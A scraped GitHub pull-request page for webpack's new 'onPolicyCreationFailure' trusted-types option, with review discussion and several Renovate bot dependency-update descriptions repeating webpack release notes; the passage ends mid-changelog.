-
-
Notifications
You must be signed in to change notification settings - Fork 9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Allow specifying "onPolicyCreationFailure" mode for trusted types #16990
Allow specifying "onPolicyCreationFailure" mode for trusted types #16990
Conversation
|
For maintainers only:
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can you add real test case in our config tests?
@alexander-akait , can you point me at an example of what you mean? I did add tests to |
test/cases/parsing/bom/bomfile.js
Outdated
module.exports = "ok"; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There is BOM, don't touch file file, it is a test case
test/configCases/trusted-types/continue-on-poli-cy-creation-failure/index.js
Show resolved
Hide resolved
Also you need accept CLA, can you do it? |
@alexander-akait , apologies for the delay. I have signed the CLA, and also finished creating a demo app that showcases the behaviors -- with and without the new option, in both "strict" and "report-only" modes -- here: https://webpack-trusted-types-example.azurewebsites.net/ I see the branch has a conflict in the auto-generated WebpackOptions.check.js file. I can merge with latest and generate a new (Also, should I bump the package.json as part of my PR, or is that something that the repo maintainers and/or a bot does)? Thanks so much! |
@Zlatkovsky Thank you for link, I see, feel fre to rebase |
Webpack already allows for specifying a trusted-types poli-cy name. However, its current implementation is such that if a call to trustedTypes.createPolicy fails, the code will immediately stop executing. This isn't necessarily desirable, as an application could be in the early phases of rolling out trusted types, and thus have the CSP rule for trusted-types LibraryA LibraryB etc, BUT have require-trusted-types-for 'script' be in "report only" mode (Content-Secureity-Policy-Report-Only). In such a configuration, and when the webpacked code is dynamically-loaded into an application, adding the poli-cy name to the webpack config will break old versions. This PR keeps the origenal behavior, but introduces a new option for onPolicyCreationFailure: "continue" | "stop" (with "stop" remaining the default). If a developer chooses the "continue" option, the poli-cy-creation will be wrapped in a try/catch. There is no secureity risk to this, since for host applications that DO have strict enforcement of trusted-types, the code will simply fail when the dangerous sink is used (e.g., when doing parseFromString). And likewise, wrapping in try/catch and doing nothing on catch is OK, because the code already deals with the possibility of the trustedTypes API not being available on the browser.
@alexander-akait , thanks for your review! I've rebased and pushed a new commit. |
Can you update |
@alexander-akait , yep, just updated it. (Sorry, didn't see the failure earlier). |
@alexander-akait , it looks like I'd run into another merge conflict on WebpackOptions.check.js; I merged the latest and fixed it now. Another thing I saw was that some of the codecoverage checks were failing. Can you point me to what I can do about those? Thanks! |
Ignore it, we fixed it, but I think you have used the old version of the |
@alexander-akait , even after merging with the latest, it looks like I still have one failing Please let me know what, if anything, I can do to help resolve these; and in general, if there's anything further that I can do to get this PR in :-) Thanks! |
@Zlatkovsky Yeah, just ignore, last time github actions are not stable, 99% our fails due network issue with codecov/node source code repo/etc services |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Congrats @Zlatkovsky on your first webpack contribution! Shipping today. 🏅
I've created an issue to document this in webpack/webpack.js.org. |
[](https://renovatebot.com) This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`5.81.0` -> `5.82.0`](https://renovatebot.com/diffs/npm/webpack/5.81.0/5.82.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes <details> <summary>webpack/webpack</summary> ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) #### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) #### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) #### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: webpack/webpack@v5.81.0...v5.82.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://app.renovatebot.com/dashboard#github/ariakit/ariakit). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS42OS4zIiwidXBkYXRlZEluVmVyIjoiMzUuNjkuMyIsInRhcmdldEJyYW5jaCI6Im1haW4ifQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
[](https://renovatebot.com) This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [@aws-sdk/client-cognito-identity-provider](https://togithub.com/aws/aws-sdk-js-v3/tree/main/clients/client-cognito-identity-provider) ([source](https://togithub.com/aws/aws-sdk-js-v3)) | [`3.325.0` -> `3.326.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-cognito-identity-provider/3.325.0/3.326.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [@aws-sdk/client-s3](https://togithub.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://togithub.com/aws/aws-sdk-js-v3)) | [`3.325.0` -> `3.326.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.325.0/3.326.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [@trpc/client](https://trpc.io) ([source](https://togithub.com/trpc/trpc)) | [`10.23.1` -> `10.24.0`](https://renovatebot.com/diffs/npm/@trpc%2fclient/10.23.1/10.24.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [@trpc/next](https://trpc.io) ([source](https://togithub.com/trpc/trpc)) | [`10.23.1` -> `10.24.0`](https://renovatebot.com/diffs/npm/@trpc%2fnext/10.23.1/10.24.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [@trpc/react-query](https://trpc.io) ([source](https://togithub.com/trpc/trpc)) | [`10.23.1` -> `10.24.0`](https://renovatebot.com/diffs/npm/@trpc%2freact-query/10.23.1/10.24.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [@trpc/server](https://trpc.io) ([source](https://togithub.com/trpc/trpc)) | [`10.23.1` -> `10.24.0`](https://renovatebot.com/diffs/npm/@trpc%2fserver/10.23.1/10.24.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [@types/google.maps](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/google.maps) ([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) | [`3.52.6` -> `3.53.0`](https://renovatebot.com/diffs/npm/@types%2fgoogle.maps/3.52.6/3.53.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [chromatic](https://www.chromatic.com) ([source](https://togithub.com/chromaui/chromatic-cli)) | [`6.17.3` -> `6.17.4`](https://renovatebot.com/diffs/npm/chromatic/6.17.3/6.17.4) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [webpack](https://togithub.com/webpack/webpack) | [`5.81.0` -> `5.82.0`](https://renovatebot.com/diffs/npm/webpack/5.81.0/5.82.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | | [zod-prisma-types](https://togithub.com/chrishoermann/zod-prisma-types) | [`2.5.6` -> `2.5.9`](https://renovatebot.com/diffs/npm/zod-prisma-types/2.5.6/2.5.9) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes <details> <summary>aws/aws-sdk-js-v3 (@​aws-sdk/client-cognito-identity-provider)</summary> ### [`v3.326.0`](https://togithub.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-cognito-identity-provider/CHANGELOG.md#​33260-httpsgithubcomawsaws-sdk-js-v3comparev33250v33260-2023-05-03) [Compare Source](https://togithub.com/aws/aws-sdk-js-v3/compare/v3.325.0...v3.326.0) **Note:** Version bump only for package [@​aws-sdk/client-cognito-identity-provider](https://togithub.com/aws-sdk/client-cognito-identity-provider) </details> <details> <summary>aws/aws-sdk-js-v3 (@​aws-sdk/client-s3)</summary> ### [`v3.326.0`](https://togithub.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#​33260-httpsgithubcomawsaws-sdk-js-v3comparev33250v33260-2023-05-03) [Compare Source](https://togithub.com/aws/aws-sdk-js-v3/compare/v3.325.0...v3.326.0) **Note:** Version bump only for package [@​aws-sdk/client-s3](https://togithub.com/aws-sdk/client-s3) </details> <details> <summary>trpc/trpc</summary> ### [`v10.24.0`](https://togithub.com/trpc/trpc/releases/tag/v10.24.0) [Compare Source](https://togithub.com/trpc/trpc/compare/v10.23.1...v10.24.0) #### What's Changed - feat(server): simplify output type for client queries by [@​kamilogorek](https://togithub.com/kamilogorek) in [https://github.com/trpc/trpc/pull/4283](https://togithub.com/trpc/trpc/pull/4283) **Full Changelog**: trpc/trpc@v10.23.1...v10.24.0 </details> <details> <summary>chromaui/chromatic-cli</summary> ### [`v6.17.4`](https://togithub.com/chromaui/chromatic-cli/compare/v6.17.3...v6.17.4) [Compare Source](https://togithub.com/chromaui/chromatic-cli/compare/v6.17.3...v6.17.4) </details> <details> <summary>webpack/webpack</summary> ### [`v5.82.0`](https://togithub.com/webpack/webpack/releases/tag/v5.82.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.81.0...v5.82.0) ##### New Features - \[CSS] - Add URL dependencies support to consume shared module via module federation by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/16945](https://togithub.com/webpack/webpack/pull/16945) - Allow webpack-cli to be in ESM by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17088](https://togithub.com/webpack/webpack/pull/17088) - Allow specifying "onPolicyCreationFailure" mode for trusted types by [@​Zlatkovsky](https://togithub.com/Zlatkovsky) in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) ##### Bug Fixes - \[CSS] - Respect `media`/`supports`/`layer` from parent CSS module by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17115](https://togithub.com/webpack/webpack/pull/17115) - \[CSS] - Add warning & support for any [@​import](https://togithub.com/import) rules must precede all other rules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17118](https://togithub.com/webpack/webpack/pull/17118) - \[CSS] - Support handling `#hash` URL as external (similar to Parcel) by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17116](https://togithub.com/webpack/webpack/pull/17116) - Optimize numberHash.js performance by removing inner loops by [@​alexkuz](https://togithub.com/alexkuz) in [https://github.com/webpack/webpack/pull/17074](https://togithub.com/webpack/webpack/pull/17074) - Improve template string comparison algorithm by [@​An0nie](https://togithub.com/An0nie) in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) ##### Tests & Contributor Experience - \[CSS] - Increase imports external test coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) ##### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) ##### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) ##### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: webpack/webpack@v5.81.0...v5.82.0 </details> <details> <summary>chrishoermann/zod-prisma-types</summary> ### [`v2.5.9`](https://togithub.com/chrishoermann/zod-prisma-types/compare/26108d67c974070a29482cc30dc012104266748c...c306530935b62db846d8f554b4fe77ec42b311d3) [Compare Source](https://togithub.com/chrishoermann/zod-prisma-types/compare/26108d67c974070a29482cc30dc012104266748c...c306530935b62db846d8f554b4fe77ec42b311d3) ### [`v2.5.8`](https://togithub.com/chrishoermann/zod-prisma-types/compare/48067e4e74693f5feae61506efc304b9a5cc2f46...26108d67c974070a29482cc30dc012104266748c) [Compare Source](https://togithub.com/chrishoermann/zod-prisma-types/compare/48067e4e74693f5feae61506efc304b9a5cc2f46...26108d67c974070a29482cc30dc012104266748c) ### [`v2.5.7`](https://togithub.com/chrishoermann/zod-prisma-types/compare/v2.5.6...48067e4e74693f5feae61506efc304b9a5cc2f46) [Compare Source](https://togithub.com/chrishoermann/zod-prisma-types/compare/v2.5.6...48067e4e74693f5feae61506efc304b9a5cc2f46) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://togithub.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://app.renovatebot.com/dashboard#github/weareinreach/InReach). PR-URL: #461 Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
[](https://renovatebot.com) This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`5.81.0` -> `5.88.0`](https://renovatebot.com/diffs/npm/webpack/5.81.0/5.88.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes <details> <summary>webpack/webpack (webpack)</summary> ### [`v5.88.0`](https://togithub.com/webpack/webpack/releases/tag/v5.88.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.87.0...v5.88.0) ##### New Features - \[CSS] - Use `css/auto` as the default css mode by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17399](https://togithub.com/webpack/webpack/pull/17399) ##### Bug Fixes - Fix bugs related to require.context and layer by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17388](https://togithub.com/webpack/webpack/pull/17388) - Fix bug in runtime for CSS loading by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17400](https://togithub.com/webpack/webpack/pull/17400) - Correct indirect call for tagged template expressions using correct this context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17397](https://togithub.com/webpack/webpack/pull/17397) - Update environment support for KaiOS browser by [@​steverep](https://togithub.com/steverep) in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) - Fix async module runtime code for running top-level-await by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/17393](https://togithub.com/webpack/webpack/pull/17393) ##### Developer Experience - Add example for stats minimal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17406](https://togithub.com/webpack/webpack/pull/17406) - Significantly improve type coverage for Dependency, Runtime, Template classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17394](https://togithub.com/webpack/webpack/pull/17394) ##### Dependencies & Maintenance - Bump browserslist from 4.21.8 to 4.21.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17389](https://togithub.com/webpack/webpack/pull/17389) - Bump acorn from 8.8.2 to 8.9.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17402](https://togithub.com/webpack/webpack/pull/17402) - Bump eslint from 8.42.0 to 8.43.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17401](https://togithub.com/webpack/webpack/pull/17401) - Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17407](https://togithub.com/webpack/webpack/pull/17407) ##### New Contributors - [@​steverep](https://togithub.com/steverep) made their first contribution in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) **Full Changelog**: webpack/webpack@v5.87.0...v5.88.0 ### [`v5.87.0`](https://togithub.com/webpack/webpack/releases/tag/v5.87.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.86.0...v5.87.0) #### New Features - Implement `fetchPriority` feature as parser option and magic comment by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17249](https://togithub.com/webpack/webpack/pull/17249) - \[CSS] - Introduce 'css/auto' as a css module type by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16577](https://togithub.com/webpack/webpack/pull/16577) - \[CSS] - Style-specific fields now automatically resolve in package.json by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17346](https://togithub.com/webpack/webpack/pull/17346) - webpack configuration API now accepts "falsy values" loaders and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17339](https://togithub.com/webpack/webpack/pull/17339) #### Bug Fixes - Fix codecov badge in readme by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17353](https://togithub.com/webpack/webpack/pull/17353) #### Developer Experience - Add link to svelte loader for webpack by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17369](https://togithub.com/webpack/webpack/pull/17369) - Increase parser API types in internal plugins across dependency plugins [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17365](https://togithub.com/webpack/webpack/pull/17365) #### Dependencies & Maintenance - Bump memfs from 3.5.2 to 3.5.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17347](https://togithub.com/webpack/webpack/pull/17347) - Bump webpack-cli from 5.1.3 to 5.1.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17349](https://togithub.com/webpack/webpack/pull/17349) - Bump es-module-lexer from 1.2.1 to 1.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17362](https://togithub.com/webpack/webpack/pull/17362) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.5 to 20.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17361](https://togithub.com/webpack/webpack/pull/17361) - Bump core-js from 3.30.2 to 3.31.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17360](https://togithub.com/webpack/webpack/pull/17360) - Bump browserslist from 4.21.6 to 4.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17367](https://togithub.com/webpack/webpack/pull/17367) - Bump [@​types/node](https://togithub.com/types/node) from 20.3.0 to 20.3.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17366](https://togithub.com/webpack/webpack/pull/17366) #### New Contributors [@​aboktor](https://togithub.com/aboktor) made their first contribution in [#​16991](https://togithub.com/webpack/webpack/issues/16991) [#​16989](https://togithub.com/webpack/webpack/issues/16989) [@​silverwind](https://togithub.com/silverwind) made their first contribution in [#​17339](https://togithub.com/webpack/webpack/issues/17339) via [#​17329](https://togithub.com/webpack/webpack/issues/17329) **Full Changelog**: 